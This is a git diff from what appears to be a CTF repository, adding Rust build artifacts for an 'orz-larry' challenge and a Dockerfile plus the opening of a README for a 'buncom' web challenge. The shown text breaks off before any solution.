+{"rustc":16583506157668836161,"features":"[]","declared_features":"","target":11648290579948130684,"profile":5601947868832436996,"path":17523903030608720598,"deps":[[5910892534286594076,"rand",false,4194654383071687548]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/orz-larry-1c58a5bbe16eef8d/dep-lib-orz-larry"}}],"rustflags":[],"metadata":7797948686568424061,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-7630b95285191374/bin-orz-larry b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-7630b95285191374/bin-orz-larry new file mode 100644 index 00000000..e69de29b diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-7630b95285191374/bin-orz-larry.json b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-7630b95285191374/bin-orz-larry.json new file mode 100644 index 00000000..41b6ce35 --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-7630b95285191374/bin-orz-larry.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[]","declared_features":"","target":12849027195293737345,"profile":5601947868832436996,"path":1684066648322511884,"deps":[[4165025069639371874,"orz_larry",false,17645861223158153005],[5910892534286594076,"rand",false,4194654383071687548]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/orz-larry-7630b95285191374/dep-bin-orz-larry"}}],"rustflags":[],"metadata":7797948686568424061,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-7630b95285191374/invoked.timestamp b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-7630b95285191374/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-7630b95285191374/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-a617bd92d798b831/invoked.timestamp b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-a617bd92d798b831/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-a617bd92d798b831/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-a617bd92d798b831/test-bin-orz-larry b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-a617bd92d798b831/test-bin-orz-larry new file mode 100644 index 00000000..e69de29b diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-a617bd92d798b831/test-bin-orz-larry.json b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-a617bd92d798b831/test-bin-orz-larry.json new file mode 100644 index 00000000..ad2691ea --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-a617bd92d798b831/test-bin-orz-larry.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[]","declared_features":"","target":12849027195293737345,"profile":11983525691607113661,"path":1684066648322511884,"deps":[[4165025069639371874,"orz_larry",false,17645861223158153005],[5910892534286594076,"rand",false,4194654383071687548]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/orz-larry-a617bd92d798b831/dep-test-bin-orz-larry"}}],"rustflags":[],"metadata":7797948686568424061,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-d00fa6260a2f3d03/invoked.timestamp b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-d00fa6260a2f3d03/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-d00fa6260a2f3d03/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-d00fa6260a2f3d03/test-lib-orz-larry b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-d00fa6260a2f3d03/test-lib-orz-larry new file mode 100644 index 00000000..e69de29b diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-d00fa6260a2f3d03/test-lib-orz-larry.json b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-d00fa6260a2f3d03/test-lib-orz-larry.json new file mode 100644 index 00000000..09c364b9 --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/orz-larry-d00fa6260a2f3d03/test-lib-orz-larry.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[]","declared_features":"","target":11648290579948130684,"profile":11983525691607113661,"path":17523903030608720598,"deps":[[5910892534286594076,"rand",false,4194654383071687548]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/orz-larry-d00fa6260a2f3d03/dep-test-lib-orz-larry"}}],"rustflags":[],"metadata":7797948686568424061,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/dep-lib-ppv-lite86 b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/dep-lib-ppv-lite86 new file mode 100644 index 00000000..1b1cb4d4 Binary files /dev/null and b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/dep-lib-ppv-lite86 differ diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/invoked.timestamp b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/lib-ppv-lite86 b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/lib-ppv-lite86 new file mode 100644 index 00000000..f1bf2f20 --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/lib-ppv-lite86 @@ -0,0 +1 @@ +e30d3ae19ce5670e \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/lib-ppv-lite86.json b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/lib-ppv-lite86.json new file mode 100644 index 00000000..c8234001 --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/lib-ppv-lite86.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[\"simd\", \"std\"]","declared_features":"","target":602634026009422966,"profile":10243973527296709326,"path":15484332557397823096,"deps":[],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/dep-lib-ppv-lite86"}}],"rustflags":[],"metadata":14155036307809790115,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand-b4bd8fda0bd1473b/invoked.timestamp b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand-b4bd8fda0bd1473b/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand-b4bd8fda0bd1473b/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand-b4bd8fda0bd1473b/lib-rand b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand-b4bd8fda0bd1473b/lib-rand new file mode 100644 index 00000000..e69de29b diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand-b4bd8fda0bd1473b/lib-rand.json b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand-b4bd8fda0bd1473b/lib-rand.json new file mode 100644 index 00000000..a5893a1e --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand-b4bd8fda0bd1473b/lib-rand.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[\"alloc\", \"default\", \"getrandom\", \"libc\", \"rand_chacha\", \"std\", \"std_rng\"]","declared_features":"","target":17786277519600763311,"profile":10243973527296709326,"path":14268380069199643891,"deps":[[1565494060434293766,"rand_core",false,17621536430670294910],[11943424025318460506,"libc",false,4617346310724056517],[12017018019769837221,"rand_chacha",false,18396468671967623719]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/rand-b4bd8fda0bd1473b/dep-lib-rand"}}],"rustflags":[],"metadata":16964019146302480911,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_chacha-6ebf3f0c7c290dfd/invoked.timestamp b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_chacha-6ebf3f0c7c290dfd/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_chacha-6ebf3f0c7c290dfd/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_chacha-6ebf3f0c7c290dfd/lib-rand_chacha b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_chacha-6ebf3f0c7c290dfd/lib-rand_chacha new file mode 100644 index 00000000..e69de29b diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_chacha-6ebf3f0c7c290dfd/lib-rand_chacha.json b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_chacha-6ebf3f0c7c290dfd/lib-rand_chacha.json new file mode 100644 index 00000000..36864ff5 --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_chacha-6ebf3f0c7c290dfd/lib-rand_chacha.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[\"std\"]","declared_features":"","target":3291831172522752161,"profile":10243973527296709326,"path":750662207624122142,"deps":[[1565494060434293766,"rand_core",false,17621536430670294910],[4511957894497802922,"ppv_lite86",false,1038050701088525795]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/rand_chacha-6ebf3f0c7c290dfd/dep-lib-rand_chacha"}}],"rustflags":[],"metadata":2235018391756195449,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_core-a359b423ace02b98/invoked.timestamp b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_core-a359b423ace02b98/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_core-a359b423ace02b98/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_core-a359b423ace02b98/lib-rand_core b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_core-a359b423ace02b98/lib-rand_core new file mode 100644 index 00000000..e69de29b diff --git a/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_core-a359b423ace02b98/lib-rand_core.json b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_core-a359b423ace02b98/lib-rand_core.json new file mode 100644 index 00000000..d7d73274 --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/.fingerprint/rand_core-a359b423ace02b98/lib-rand_core.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[\"alloc\", \"getrandom\", \"std\"]","declared_features":"","target":3042383198953219556,"profile":10243973527296709326,"path":1435031130385470561,"deps":[[3068739482349947447,"getrandom",false,12823603675469267770]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/rand_core-a359b423ace02b98/dep-lib-rand_core"}}],"rustflags":[],"metadata":3275543247315060703,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/build/libc-5a66e0ec468c01fc/build-script-build b/amateurs2024/algo/orz-larry/target/debug/build/libc-5a66e0ec468c01fc/build-script-build new file mode 100755 index 00000000..303c7346 Binary files /dev/null and b/amateurs2024/algo/orz-larry/target/debug/build/libc-5a66e0ec468c01fc/build-script-build differ diff --git a/amateurs2024/algo/orz-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc b/amateurs2024/algo/orz-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc new file mode 100755 index 00000000..303c7346 Binary files /dev/null and b/amateurs2024/algo/orz-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc differ diff --git a/amateurs2024/algo/orz-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc.d b/amateurs2024/algo/orz-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc.d new file mode 100644 index 00000000..e9feb95e --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc.d @@ -0,0 +1,5 @@ +/home/nullchilly/code/git/ctf/amateurs2024/algo/orz-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/build.rs + +/home/nullchilly/code/git/ctf/amateurs2024/algo/orz-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc.d: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/build.rs + +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/build.rs: diff --git a/amateurs2024/algo/orz-larry/target/debug/build/libc-7285af9313130a67/invoked.timestamp b/amateurs2024/algo/orz-larry/target/debug/build/libc-7285af9313130a67/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/build/libc-7285af9313130a67/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/build/libc-7285af9313130a67/output b/amateurs2024/algo/orz-larry/target/debug/build/libc-7285af9313130a67/output new file mode 100644 index 00000000..8963b6de --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/build/libc-7285af9313130a67/output @@ -0,0 +1,16 @@ +cargo:rerun-if-changed=build.rs +cargo:rustc-cfg=freebsd11 +cargo:rustc-cfg=emscripten_new_stat_abi +cargo:rustc-cfg=libc_priv_mod_use +cargo:rustc-cfg=libc_union +cargo:rustc-cfg=libc_const_size_of +cargo:rustc-cfg=libc_align +cargo:rustc-cfg=libc_int128 +cargo:rustc-cfg=libc_core_cvoid +cargo:rustc-cfg=libc_packedN +cargo:rustc-cfg=libc_cfg_target_vendor +cargo:rustc-cfg=libc_non_exhaustive +cargo:rustc-cfg=libc_long_array +cargo:rustc-cfg=libc_ptr_addr_of +cargo:rustc-cfg=libc_underscore_const_names +cargo:rustc-cfg=libc_const_extern_fn diff --git a/amateurs2024/algo/orz-larry/target/debug/build/libc-7285af9313130a67/root-output b/amateurs2024/algo/orz-larry/target/debug/build/libc-7285af9313130a67/root-output new file mode 100644 index 00000000..6a9064dd --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/build/libc-7285af9313130a67/root-output @@ -0,0 +1 @@ +/home/nullchilly/code/git/ctf/amateurs2024/algo/orz-larry/target/debug/build/libc-7285af9313130a67/out \ No newline at end of file diff --git a/amateurs2024/algo/orz-larry/target/debug/build/libc-7285af9313130a67/stderr b/amateurs2024/algo/orz-larry/target/debug/build/libc-7285af9313130a67/stderr new file mode 100644 index 00000000..e69de29b diff --git a/amateurs2024/algo/orz-larry/target/debug/deps/cfg_if-eec010fb472fdca6.d b/amateurs2024/algo/orz-larry/target/debug/deps/cfg_if-eec010fb472fdca6.d new file mode 100644 index 00000000..5bdb1c0c --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/deps/cfg_if-eec010fb472fdca6.d @@ -0,0 +1,5 @@ +/home/nullchilly/code/git/ctf/amateurs2024/algo/orz-larry/target/debug/deps/libcfg_if-eec010fb472fdca6.rmeta: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/cfg-if-1.0.0/src/lib.rs + +/home/nullchilly/code/git/ctf/amateurs2024/algo/orz-larry/target/debug/deps/cfg_if-eec010fb472fdca6.d: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/cfg-if-1.0.0/src/lib.rs + +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/cfg-if-1.0.0/src/lib.rs: diff --git a/amateurs2024/algo/orz-larry/target/debug/deps/libc-33740f5b1d45b05d.d b/amateurs2024/algo/orz-larry/target/debug/deps/libc-33740f5b1d45b05d.d new file mode 100644 index 00000000..58f1475f --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/deps/libc-33740f5b1d45b05d.d @@ -0,0 +1,21 @@ +/home/nullchilly/code/git/ctf/amateurs2024/algo/orz-larry/target/debug/deps/liblibc-33740f5b1d45b05d.rmeta: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/lib.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/macros.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/fixed_width_ints.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/arch/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/not_x32.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/align.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/align.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/arch/generic/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/align.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/non_exhaustive.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/align.rs + +/home/nullchilly/code/git/ctf/amateurs2024/algo/orz-larry/target/debug/deps/libc-33740f5b1d45b05d.d: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/lib.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/macros.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/fixed_width_ints.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/arch/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/not_x32.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/align.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/align.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/arch/generic/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/align.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/non_exhaustive.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/align.rs + +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/lib.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/macros.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/fixed_width_ints.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/arch/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/not_x32.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/align.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/align.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/arch/generic/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/align.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/non_exhaustive.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/align.rs: diff --git a/amateurs2024/algo/orz-larry/target/debug/deps/libcfg_if-eec010fb472fdca6.rmeta b/amateurs2024/algo/orz-larry/target/debug/deps/libcfg_if-eec010fb472fdca6.rmeta new file mode 100644 index 00000000..815dc1ef Binary files /dev/null and b/amateurs2024/algo/orz-larry/target/debug/deps/libcfg_if-eec010fb472fdca6.rmeta differ diff --git a/amateurs2024/algo/orz-larry/target/debug/deps/libppv_lite86-b7a9ce29d15aa227.rmeta b/amateurs2024/algo/orz-larry/target/debug/deps/libppv_lite86-b7a9ce29d15aa227.rmeta new file mode 100644 index 00000000..48279fbc Binary files /dev/null and b/amateurs2024/algo/orz-larry/target/debug/deps/libppv_lite86-b7a9ce29d15aa227.rmeta differ diff --git a/amateurs2024/algo/orz-larry/target/debug/deps/ppv_lite86-b7a9ce29d15aa227.d b/amateurs2024/algo/orz-larry/target/debug/deps/ppv_lite86-b7a9ce29d15aa227.d new file mode 100644 index 00000000..598fb0d9 --- /dev/null +++ b/amateurs2024/algo/orz-larry/target/debug/deps/ppv_lite86-b7a9ce29d15aa227.d @@ -0,0 +1,9 @@ +/home/nullchilly/code/git/ctf/amateurs2024/algo/orz-larry/target/debug/deps/libppv_lite86-b7a9ce29d15aa227.rmeta: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/lib.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/soft.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/types.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/x86_64/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/x86_64/sse2.rs + +/home/nullchilly/code/git/ctf/amateurs2024/algo/orz-larry/target/debug/deps/ppv_lite86-b7a9ce29d15aa227.d: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/lib.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/soft.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/types.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/x86_64/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/x86_64/sse2.rs + +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/lib.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/soft.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/types.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/x86_64/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/ppv-lite86-0.2.17/src/x86_64/sse2.rs: diff --git a/amateurs2024/algo/orz-larry/target/debug/deps/rmetaNePwnk/lib.rmeta b/amateurs2024/algo/orz-larry/target/debug/deps/rmetaNePwnk/lib.rmeta new file mode 100644 index 00000000..319d8909 Binary files /dev/null and b/amateurs2024/algo/orz-larry/target/debug/deps/rmetaNePwnk/lib.rmeta differ diff --git a/cyberspace24/buncom/Dockerfile b/cyberspace24/buncom/Dockerfile new file mode 100644 index 00000000..88de4728 --- /dev/null +++ b/cyberspace24/buncom/Dockerfile @@ -0,0 +1,28 @@ +# Copyright 2020 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +FROM oven/bun:slim +RUN apt update && apt install git gcc make -y +RUN git clone --depth=1 https://github.com/TinyCC/tinycc.git tinycc +RUN cd tinycc && ./configure --prefix=/usr && make && make install + +RUN useradd -ms /bin/bash ctf + +COPY src /home/ctf/app +WORKDIR /home/ctf/app +COPY flag /flag +RUN chown -R ctf:ctf * && chown ctf:ctf /tmp + +USER ctf +ENV NODE_ENV=production +CMD ["bun", "index.js"] diff --git a/cyberspace24/buncom/README.md b/cyberspace24/buncom/README.md new file mode 100644 index 00000000..c7192289 --- /dev/null +++ b/cyberspace24/buncom/README.md @@ -0,0 +1,208 @@ +# buncom + +* Category: Web, Misc +* Score: 500 / 500 +* Solves: 3 / 830 +* First blood: TAS.Dihydro_Monoxide + +> [!NOTE] +> This challenge is inspired by [Echo as a 